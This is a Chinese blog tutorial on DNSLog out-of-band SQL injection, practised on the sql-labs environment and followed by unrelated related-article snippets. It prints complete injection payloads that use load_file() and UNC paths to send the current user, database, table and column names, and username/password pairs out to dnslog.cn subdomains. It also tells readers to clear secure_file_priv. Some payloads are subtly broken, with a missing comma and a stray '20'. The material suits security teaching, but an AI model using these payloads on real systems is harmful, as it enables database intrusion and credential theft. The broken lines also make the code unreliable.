SQL注入之DNSLog外帶注入

一、認識:

什么是dnslog呢?

DNS就是域名解析服務,把一個域名轉換成對應的IP地址,轉換完成之后,DNS服務器就會有一個日志記錄本次轉換的時間、域名、域名對應的ip、請求方的一些信息,這個日志就叫DNSLog。

但是想要查看DNSLog信息的人,必須是擁有DNS服務器權限的人,這就使的我們要是用dnslog注入方法的話,就需要搭建自己的一個dns服務器,成本相對較高。

所以在此就推薦兩個平臺,可以快速讓我們使用dnslog外帶注入

  1. ceye.io
  2. dnslog.cn

也可以使用BurpSuite同樣可以實現相應功能。

二、利用場景

使用dnslog方法的場景非常苛刻

需要知道以下數據

  1. secure_file_priv=""? ,secure_file_priv必須是空

    1. secure_file_priv為null,load_file則不能加載文件。

    2. secure_file_priv為路徑,可以讀取路徑中的文件;

    3. secure_file_priv為空,可以讀取磁盤的目錄;

  2. 服務器只能在windows下使用,因為需要使用到UNC路徑

  3. 擁有root權限,因為有root權限后才能使用load_file()這個函數

    1. LOAD_FILE()函數可以加載本地文件系統中的文件,并將其作為字符串返回

三、環境的搭建

還是使用我們的sql-labs進行實驗

首先查看mysql中secure_file_priv是否為空,如若不為空,則進入my.ini文件進行修改

進到my.ini文件中將secure_file_priv的值從null改為""
如果沒有的話可以直接寫入secure_file_priv=""之后重新啟動mysql

1、查看secure_file_priv是否為空?

show variables like '%secu%';

2、進入my.ini修改

在my.ini中添加secure_file_priv=""

重啟mysql

四、實現

此處我使用dnslog.cn獲取一盒域名

1、先進行測試

以sql-labs的第8關的布爾盲注為例:

解釋:我們先進測試,請求一下當前登錄的用戶;

1、load_file()函數用于從文件系統中讀取文件內容并將其作為字符串返回,

注:四個\是因為斜杠有特殊含義,我們需要轉義兩個,user()是我們要請求的數據,最后一個是我們剛才獲取的域名

2、然后使用concat()函數將數據拼接起來

3、相當于請求了一個UNC的地址就是這樣一個數據\\user().ui9a1m.dnslog.cn這個主機下的/abc這個共享文件夾雖然不存在但是無所謂我們的目的是需要將user()數據獲取,它會將數據解析到我們使用的dnslog.cn中它可以記錄解析后的數據
4、這里為什么要用hex()呢因為user()中有一個@符它不支持所以我們將它轉為16進制

?id=1' and load_file(concat('\\\\',hex(user()),'.ui9a1m.dnslog.cn/abc'))--+

發送請求,查看我們得到的信息

對16進制進行還原,可以看到得到了我們想要的數據

進行爆庫

此處就不需要轉16進制,直接請求表名

?id=1' and load_file(concat('\\\\',database(),'.ui9a1m.dnslog.cn/abc'))--+

得到庫名:security

接下來我們進行爆表名

爆表名

注:因為使用group_concat()函數拼接時默認使用' , '進行拼接,dnslog無法解析,所以這里有兩種方法可以解決

1、要么轉為16進制,

2、要么使用separator "_"? 使用下劃線連接

?id=1'  and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.503l34.dnslog.cn/abc'))--+

很明顯,我們要得到數據大概率在users表里,可以繼續進行查詢測試

爆字段

id=1' 20and load_file(concat('\\\\',(select group_concat(column_name separator '_') from information_schema.columns where table_schema=database() and table_name='users'),'.5qir98.dnslog.cn/abc'))--+

很明顯,我們查對了,得到了想要的列名:username、password

那么知道了庫名,表名,列名,接下來就可以查數據了

爆數據

id=1' and load_file(concat('\\\\' (select concat(username,'_',password) from security.users limit 0,1),'.nr4rzc.dnslog.cn/abc'))--+

注:在此處dnslog不能解析連接符'~',這里的我解決辦法有兩個;

1、對concat()函數進行16進制轉換

id=1' and load_file(concat('\\\\' (select hex(concat(username,'_',password)) from security.users limit 0,1),'.nr4rzc.dnslog.cn/abc'))--+

2、或者將連接符換成'_'

在這里我兩個都用了下是可以,上面僅展示一個

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/696195.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/696195.shtml
英文地址,請注明出處:http://en.pswp.cn/news/696195.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

漢諾塔問題—java詳解(附源碼)

來源及應用 相傳在古印度圣廟中,有一種被稱為漢諾塔(Hanoi)的游戲。該游戲是在一塊銅板裝置上,有三根桿(編號A、B、C),在A桿自下而上、由大到小按順序放置64個金盤(如圖1)。游戲的目標:把A桿上的金盤全部移到C桿上,并仍…

【Nacos】構建云原生應用的動態服務發現、配置管理和服務管理平臺【企業級生產環境集群搭建應用】

基礎描述 一個更易于構建云原生應用的動態服務發現、配置管理和服務管理平臺Nacos 致力于幫助您發現、配置和管理微服務。Nacos 提供了一組簡單易用的特性集,幫助您快速實現動態服務發現、服務配置、服務元數據及流量管理。Nacos 幫助您更敏捷和容易地構建、交付和…

貓頭虎分享已解決Bug || Spring Error: Request method ‘POST‘ not supported

博主貓頭虎的技術世界 🌟 歡迎來到貓頭虎的博客 — 探索技術的無限可能! 專欄鏈接: 🔗 精選專欄: 《面試題大全》 — 面試準備的寶典!《IDEA開發秘籍》 — 提升你的IDEA技能!《100天精通鴻蒙》 …

海思3559 yolov5 wk模型部署筆記

文章目錄 安裝3559工具鏈編譯opencv編譯項目總結 安裝3559工具鏈 將3559工具鏈copy到虛擬機上,并解壓得到安裝包 解壓: tar -zxvf aarch64-himix100-linux.tgz解壓后會得到安裝包文件夾: 安裝工具鏈: sudo ./aarch64-himix100…

代碼隨想錄算法訓練營第17天—二叉樹06 | ● *654.最大二叉樹 ● 617.合并二叉樹 ● 700.二叉搜索樹中的搜索 ● *98.驗證二叉搜索樹

*654.最大二叉樹 題目鏈接/文章講解:https://programmercarl.com/0654.%E6%9C%80%E5%A4%A7%E4%BA%8C%E5%8F%89%E6%A0%91.html 視頻講解:https://www.bilibili.com/video/BV1MG411G7ox 考點 前序遍歷構建二叉樹 我的思路 參考了力扣題目里的提示遞歸三要…

【大數據面試題】008 談一談 Flink資源如何配置

【大數據面試題】008 談一談 Flink 資源如何配置 并行度 Parallelism 概念作用Slot 概念作用如何設置TaskManager 任務管理器Flink submit 腳本 一步一個腳印,一天一道面試題 該文章有較多引用文章 https://zhuanlan.zhihu.com/p/572170629?utm_id0 并行度 Paralle…

Unity2023.1.19沒有PBR Graph?

Unity2023.1.19沒有PBR Graph? 關于Unity2023.1.19沒有PBR graph的說法,我沒看見管方給出的答案,百度則提到了Unity2020版之后Shader Graph的“全新更新”,之前也沒太注意版本的區別,以后項目盡量都留心一下。 之前文章說過,孿生智慧項目推薦使用URP渲染管線,以上的截…

安裝sklearn遇到ImportError: dlopen: cannot load any more object with static TLS

1.看https://blog.csdn.net/Go_ahead_forever/article/details/133755918 知不能 pip install sklearn,而是 pip install scikit-learn2.網上說調換import的順序就能解決。 但是我不知道調換哪個,索性重新開了anaconda環境,一個個安裝缺什么…

Stable Diffusion 繪畫入門教程(webui)-ControlNet(線稿約束)

上篇文章介紹了openpose,本篇文章介紹下線稿約束,關于線稿約束有好幾個處理器都屬于此類型,但是有一些區別。 包含: 1、Canny(硬邊緣):識別線條比較多比較細,一般用于更大程度得還原照片 2、ML…

在docker中運行vins-fusion

文章目錄 VINS-fusion拉取鏡像創建容器在vscode中運行代碼運行效果VINS-fusion VINS-Fusion 是一個開源的實時多傳感器狀態估計庫,主要由香港科技大學的沈邵劼教授領導的研究團隊開發。它是 VINS-Mono(單目視覺慣性系統)的擴展,支持多種傳感器組合,如雙目、立體相機和IMU…

Spring Security 認證授權安全框架

Spring Security概述 1.什么是Spring Security? Spring Security是一個Java框架,用于保護應用程序的安全性。它提供了一套全面的安全解決方案,包括身份驗證、授權、防止攻擊等功能。Spring Security基于過濾器鏈的概念,可以輕松地集成到任…

指針筆試題(C語言進階)

目錄 前言 1、案例一 1.1 答案 1.2 解析 2、案例二 2.1 答案 2.2 解析 3、案例三 3.1 答案 3.2 解析 4、案例四 4.1 答案 4.2 解析 5、案例五 5.1 答案 5.2 解析 總結 前言 “紙上得來終覺淺,絕知此事要躬行”。本篇通過對指針實際案例的分析&…

Google重磅開源!Gemma 2B/7B小模型登場,6萬億Tokens喂飽,聊天編程兩不誤,LLaMA也黯然失色?

Google又有大動作! 近日,他們發布了Gemma 2B和7B兩個開源AI模型,與大型封閉模型不同,它們更適合小型任務,如聊天和文本摘要。 這兩個模型在訓練過程中使用了6萬億個Tokens的數據,包括網頁文檔、代碼和數學…

收單外包機構備案2023年回顧和2024年展望

孟凡富 本文原標題為聚合支付深度復盤與展望,首發于《支付百科》公眾號! 收單外包服務機構在我國支付收單市場中占據著舉足輕重的地位,其規模在政策引導和市場需求驅動下不斷擴大。同時,隨著行業自律管理體系的持續發展和完善&a…

文獻速遞:GAN醫學影像合成--用生成對抗網絡生成 3D TOF-MRA 體積和分割標簽

文獻速遞:GAN醫學影像合成–用生成對抗網絡生成 3D TOF-MRA 體積和分割標簽 01 文獻速遞介紹 深度學習算法在自然圖像分析中的成功近年來已被應用于醫學成像領域。深度學習方法已被用于自動化各種耗時的手動任務,如醫學圖像的分割和分類(G…

頂刊中很出彩的二元變量圖

導師希望你發頂刊, 但你的圖紙差點意思, 那么,你不妨試試這個, 二元變量圖, 在頂刊中都很出彩哦! 本次,我們來以“降水量”和“NDVI”兩個數據為例,繪制二元變量分析圖,表達“降水量”和“NDVI”之間的關系。 什么是二元變量圖 首先還是先解釋下“二元變量圖”。顧…

OpenCV中saturate_cast模板函數

在OpenCV中,saturate_cast是一個模板函數,用于正確地將一個數值從一種類型轉換到另一種類型,同時確保結果在目標類型的有效范圍內。這在圖像處理中特別有用,比如當像素值在經過計算后可能超出其數據類型允許的范圍時。saturate_ca…

-bash: /root/.ssh/authorized_keys: Read-only file system

問題背景 由于跳板機不支持 ssh-copy-id 命令&#xff0c;為了配置免密登錄&#xff0c;考慮在服務器上手動使用 cat 命令寫入跳板機公鑰 cat <<EOL >> ~/.ssh/authorized_keys [Your public key] EOL但卻出現了以下錯誤 -bash: /root/.ssh/authorized_keys: Re…

編程筆記 Golang基礎 013 格式化輸入輸出

編程筆記 Golang基礎 013 格式化輸入輸出 一、格式化輸出1. fmt.Print系列函數2. Printf格式說明3. 格式化布爾類型 二、格式化輸入1. fmt.Scan系列函數注意事項 三、練習小結 Go語言中的格式化輸入和輸出主要通過標準庫 fmt 包來實現。主要是輸出需要格式化。 一、格式化輸出 …

掃盲貼:Svg動畫和Canvas動畫有什么區別

hello&#xff0c;我是貝格前端工場&#xff0c;網頁中動畫的實現有N種方式&#xff0c;比如css動畫&#xff0c;js動畫&#xff0c;svg動畫&#xff0c;canvas動畫等等&#xff0c;每一種動畫都有對應的場景&#xff0c;本問重點介紹一下svg和canvas動畫的異同點&#xff0c;歡…